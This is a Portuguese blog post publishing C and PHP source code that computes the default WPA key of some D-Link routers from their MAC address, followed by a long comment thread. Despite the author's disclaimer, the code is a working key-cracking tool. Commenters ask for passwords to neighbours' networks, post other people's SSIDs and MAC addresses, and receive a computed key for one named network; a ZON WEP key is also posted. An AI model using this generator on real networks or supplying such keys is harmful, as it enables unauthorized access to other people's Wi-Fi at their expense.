Código fonte WPA DLink (PHP,C)
Aproveito para tornar publico o código PHP que gera as chaves dos routers DLink, assim como o código fonte em C do programa que originou o mesmo, uma vez que o autor assim o permitiu
Aproveito o Post para relembrar que o objectivo do blog não é nem nunca foi incentivar à utilização de redes wireless alheias, pois isso é crime, apenas tento alertar os utilizadores para a necessidade da alteração das passwords por defeito, e também para a necessidade das empresas criadoras dos routers em questão arranjarem formas mais eficazes de gerar chaves aleatórias e não chaves que tenham a haver com o nome da rede ou MAC, compreendo que numa situação de produção em grande escala o mesmo é difícil pois a etiqueta com a password é colocada por ultimo e estas já estão feitas conforme o mac do router, seria preferível criarem os routers com as redes abertas, e alertar na etiqueta para a necessidade de alteração da segurança wireless.
Relativamente a pedidos das chaves ZON, etc … teria todo gosto em verificar os métodos de criação das mesmas, sendo assim caso possuam um router ZON ou outro que na etiqueta tenha a chave predefinida, enviem por comentário o MAC do mesmo o nome da rede e chave original, de forma a se tentar ver qual o método de criação das mesmas, sem isso não tenho possibilidades de estudar os mesmos.
Deixo então abaixo os Códigos fontes em C e PHP com os respectivos créditos no interior do mesmo:
Em C by Xpt0niX
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> /* 0= X 1= r 2= q 3= a 4= H 5= N 6= p 7= d 8= S 9= Y A= w B= 8 C= 6 D= 2 E= 1 F= 5 Based on a MAC address: 12 34 56 78 9a bc Pattern of the mixing char must be: c1 b2 a3 94 85 76 27 9a c3 5b The final Result for the WPA/SPK key is: 6r 8q wa YH SN dp qd Yw 6a N8 */ int Alpha_MACString_Remove_Separator(unsigned char *mac, unsigned char *str) { int i,j; if (mac==NULL) return 1; for (j=0,i=0;i<17;i++) if (mac[i]!=':' && mac[i]!='-' && mac[i]!='.' && mac[i]!='_') str[j++] = mac[i]; return 0; } #ifdef IFX_MULTILIB_UTIL #define main wpakeygen_main #endif int main(int argc, char **argv) { unsigned char mac[12],key[20],newkey[20]; int i,j,index; char t; char hash[16] = { 'X', 'r', 'q', 'a', 'H', 'N', 'p', 'd', 'S', 'Y', 'w', '8', '6', '2', '1', '5'}; if (argc !=2 ) { printf("Usage: wpakeygen {MAC}\n"); printf("Tested on D-Link DVA-G3170i/PT by Xpt0niX"); return 0; } Alpha_MACString_Remove_Separator(argv[1], mac); key[0]=mac[11]; key[1]=mac[0]; key[2]=mac[10]; key[3]=mac[1]; key[4]=mac[9]; key[5]=mac[2]; key[6]=mac[8]; key[7]=mac[3]; key[8]=mac[7]; key[9]=mac[4]; key[10]=mac[6]; key[11]=mac[5]; key[12]=mac[1]; key[13]=mac[6]; key[14]=mac[8]; key[15]=mac[9]; key[16]=mac[11]; key[17]=mac[2]; key[18]=mac[4]; key[19]=mac[10]; //printf("key=%c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c\n",key[0], key[1],key[2],key[3],key[4],key[5],key[6],key[7],key[8],key[9],key[10],key[11],key[12],key[13],key[14],key[15],key[16],key[17],key[18],key[19]); for (i=0;i<20;i++) { t=key[i]; if ((t >= '0') && (t <= '9')) index = t-'0'; else { t=toupper(t); if ((t >= 'A') && (t <= 'F')) index = t-'A'+10; else return 1; } newkey[i]=hash[index]; } printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",newkey[0], newkey[1],newkey[2],newkey[3],newkey[4],newkey[5],newkey[6],newkey[7],newkey[8],newkey[9],newkey[10],newkey[11],newkey[12],newkey[13],newkey[14],newkey[15],newkey[16],newkey[17],newkey[18],newkey[19]); return 0; }
Em PHP by NarG
<?php // $mac = "123456780ABC"; echo gerador($mac); function gerador($mac) { $key = "XXXXXXXXXXXXXXXXXXXX"; for($i=0;$i<strlen($mac);$i++) { switch ($i) { case 0: $key[1] = dicionario($mac[$i]); break; case 1: $key[3] = dicionario($mac[$i]); $key[12] = dicionario($mac[$i]); break; case 2: $key[5] = dicionario($mac[$i]); $key[17] = dicionario($mac[$i]); break; case 3: $key[7] = dicionario($mac[$i]); break; case 4: $key[9] = dicionario($mac[$i]); $key[18] = dicionario($mac[$i]); break; case 5: $key[11] = dicionario($mac[$i]); break; case 6: $key[10] = dicionario($mac[$i]); $key[13] = dicionario($mac[$i]); break; case 7: $key[8] = dicionario($mac[$i]); break; case 8: $key[6] = dicionario($mac[$i]); $key[14] = dicionario($mac[$i]); break; case 9: $key[15] = dicionario($mac[$i]); $key[4] = dicionario($mac[$i]); break; case 10: $key[2] = dicionario($mac[$i]); $key[19] = dicionario($mac[$i]); break; case 11: $key[0] = dicionario($mac[$i]); $key[16] = dicionario($mac[$i]); break; } } return $key; } function dicionario($letra) { $letra = strtoupper($letra); switch ($letra) { case "1": return "r"; break; case "2": return "q"; break; case "3": return "a"; break; case "4": return "H"; break; case "5": return "N"; break; case "6": return "p"; break; case "7": return "d"; break; case "8": return "S"; break; case "9": return "Y"; break; case "0": return "X"; break; case "A": return "w"; break; case "B": return "8"; break; case "C": return "6"; break; case "D": return "2"; break; case "E": return "1"; break; case "F": return "5"; break; default: return false; break; } } ?>
Não percebo porquê o meu comentário foi apagado,estou apenas a tentar ajudar,mas pronto como queira.
@patako </
ao executar o fixeiro PBS Project.exe o erro k dá : " A aplicaçao falhou a inicializacão correcta (0xc0000135).Clique em OK para terminar a aplicação." – isto surge numa janela k abre quando tento executar o .exe , na barra azul diz: " PBS Project.exe – Erro de aplicação"
Vou instalar o framework 3.5
@patako
Agora sim…depois de ter actualizado o framework pra ver. 3.5,ja funcionou.De kalker maneira a versão em Python pra mim é melhor, visto k funciona bem em Win2000,XP,Win7…o unico senao é k temos de recorrer a uma linha de comandos ( Ms-Dos ), mas deixo aki um ´Bem Haja pelo Trabalho Efectuado´
@patako
patako, vou faxer o download deste site: http://www.megaupload.com/?d=YOPEOZCG e diz.me k nao esta disponivel… pk??
agradeço resposta um grande abraço
Ponham aqui os comentários. Aqui estão 580 comentários e já se fizeram 606 comentários. Não se percebe.
@trolhonico
desde k tenha a versao 3.5 funciona em klk versao do windows x86 ou x64… Obrigado! Qualquer tipo de informação do genero do algoritmo k postas te e bem vinda
@patako
ah agora deu pra faxer download do pbs
mas nao sei pk nao deu antes 
mas o programa ta altamente…
tenho uma duvida… existem redes PBS???
o nome da rede pbs é komo?? PBS-XXXXXX né??
um grande abraço e fixeste um exclente trabalho
sim… mas esse modelo diverge literalmente do modelo da sapo! precisava que postassem informação dos pirellis da sapo para ver se o metodo de geraçaõ das pass e igual… ou semelhante! mas obrigado!
@patako
a unica coisa k me falta é esperimentar ir a procura da rede pbs komo o meu tlmvl nokia k tem wireless e dps assim k vir uma gravo no movel, vou ao programa e gero a pass e dps esperimento meto a pass e vejo se dá net ou nao
Se quiserem posso colocar o do pirelli-fast-web aqui tbm…
patako será que consegues estudar o novo algoritmo dos routers 2010 da MEO?
@rfilipeg
http://www.gnucitizen.org/blog/default-key-algorithm-in-thomson-and-bt-home-hub-routers/ – leiam os ultimos comentarios deste link…
Eu gustaria muito qe me decem o link de um programa qe decufra a pw das ZON se tiver agradecia muito…
alguem consegue xave DLink-B6A8C3 obrigdo
Se tivesse informações sobre os mesmo poderia tentar faze-lo :S Agora toda a gente quer geradores de chaves mas ninguem ajuda!
epaaa… se kerem tudo… AJUDEM PA!!!
senao nao ha nada pra ninguem
o metodo como o ssid e gerado a partir do MAC ADDR é facil… agora sem ter acesso a exemplos completos n faço milagres… nem eu nem o pessoal daqui do f*di.me é preciso ter exemplos com mac adrr ssid e psk!
@patako
Patako tem toda a razão mas eu nao tenho a passoword. Posso-lhe no entanto facultar o SSID e o Mac Adress.
Dados:
SSID: Thomson CF4B86
Mac Adress: 00:24:17:CF:4B:86
Encriptação: WPA-PSK
Apenas lhe consigo facultar isto visto que é uma rede que apanho por aqui.
Só um nota:
Nestes novos router’s da MEO(2010) repare-se que os ultimos digitos do Mac Adress são os dígitos que aparecem no SSID que tal não acontecia nos anteriores routers da MEO. Penso que o algoritmo esteja mais perto do algoritmo dos Dlink, mas não são a mesma coisa.
Será que com isto não consegue fazer mesmo nada?
Cumps.
rfilipeg
SSID: ZON-7A96
DEVICE MAC: 0024B2B97A98
CM MAC: 0024B2B97A96
MTA MAC: 0024B2B97A97
WEP KEY: 3932b9365d455712ca6cefc734
Manos do que prexixao?.EU nesisito da pw da ZON algem me pode ajudar?
http://w*w*w*gnucitizen*org/blog/default-key-algorithm-in-thomson-and-bt-home-hub-routers/
Patako tenho ao pe da minha casa uma net da thomson ja tentei me ligar ela atraves da pw qe o fodi me me deu mas n da.Eu acho qe e um router de 2010 eu guntaria muto qe me ajudasem a descubrir a sua pw eu ja vosdarei o nome na net qe qero qe tentem descubrir a pw agradecia muto se consegisem me dscubrir a pw tenhao um bom dia…
Leiam os ultimos comentarios do link k postei…parece k o problema dos meo2010 nao é so dos tugas, em terras de sua majestade(UK) tb tem o mesmo prolema…
Muito bem Dito, estou de acordo a 500%
@trolhonico
O seu comentário aguarda aprovação.
patako :
Se tivesse informações sobre os mesmo poderia tentar faze-lo :S Agora toda a gente quer geradores de chaves mas ninguem ajuda!
Tiago Pais :
epaaa… se kerem tudo… AJUDEM PA!!!
senao nao ha nada pra ninguem
patako :
o metodo como o ssid e gerado a partir do MAC ADDR é facil… agora sem ter acesso a exemplos completos n faço milagres… nem eu nem o pessoal daqui do f*di.me é preciso ter exemplos com mac adrr ssid e psk!
Muito bem Dito, estou de acordo a 500%
A informação que eu postei chega ou falta alguma coisa.
GOSTARIA QUE ME AJUDASSEM A DESCOBRIR A CHAVE DLINK-EFE940 FICO MUITO GRATO POR TAL FACTO. MANDEM A CHAVER PARA ” ARCAR@PORTUGALMAIL.PT
Alguém sabe aonde se pode ir buscar os códigos da zon
Alguem me pode ajudar?? eu fiz o donwload do tal programa para me dar a chave da net sapo, mas a aplicação dá erro, será que alguem me pode dar a chave??
DLink-F0333A
Abraço espero resposta
Eu já pus aí o que sabia sobre a rede que apanho por aqui!
Espero ajudar em alguma coisa.
Cumps.
@ARMANDO CARDOSO
SSID: Dlink-EFE940
MAC: 00:22:B0:EF:E9:40
Key: XXHXYq1q581XX11YXq8H
vê se dá pra teres net
Boa sorte, um abraço
precisams tbm da key … para perceber o algoritmo!
Bom dia,
Eu tentei utilizar o vosso program, mas talvez por ser um pouco “verde” nestas andanças não me dei muito bem… será que dá para me ajudarem a obter a chave para o DLink-760FFA
Obrigado.
Pois eu aí ja nao posso ajudar!
Mas será que ninguem tem um router MEO 2010.
Para saberem mais ou menos vejam pelo SSID começam quase todos CFXXXX
Cumps.
rfilipeg
tenho varias redes visiveis algem me pode saber as passswww, já tentei aqui na pagina mas não consegui…
algem me pode ajudar.
Abraço..
Aqui vai:
Thompson FB492A
ZON-4DCA
Vodafone_WPA_2BEB
komeço a pensar…
kem tem routeres da thomson meo 2010 nao devem crer dar a informaçao pra dps nao haver hackeres e invasões as redes tal komo a zon
@Tiago Pais
pois ca pra mim passa-se tb a mesma coisa.
Patako,decarreguei o teu programa para router pirelli PBS-FE3237 e meti no MAC -FE3237- e deu pass YW0741762 mas não entrou.não era essa a pass.Testei também em PBS-852AC1 e meti no MAC-85AC1 e verifique que a pass gerada não era a correcta,pois a PASS certa e de origem é wJYaGeUq
@tim
tal como eu tinha dito n sabia se o algoritmo funcionava em router sapo… Pk esse algoritmo e para o pireli discus.. Se lers o meu post tem la
Patako percebi,tanhks,se puderes ajudar na rede PBS-FE3237 MAC-002233FE323A-agradeço pass router ou gerador e no meu comentário acima deixei dados p/veres e ajudares se possível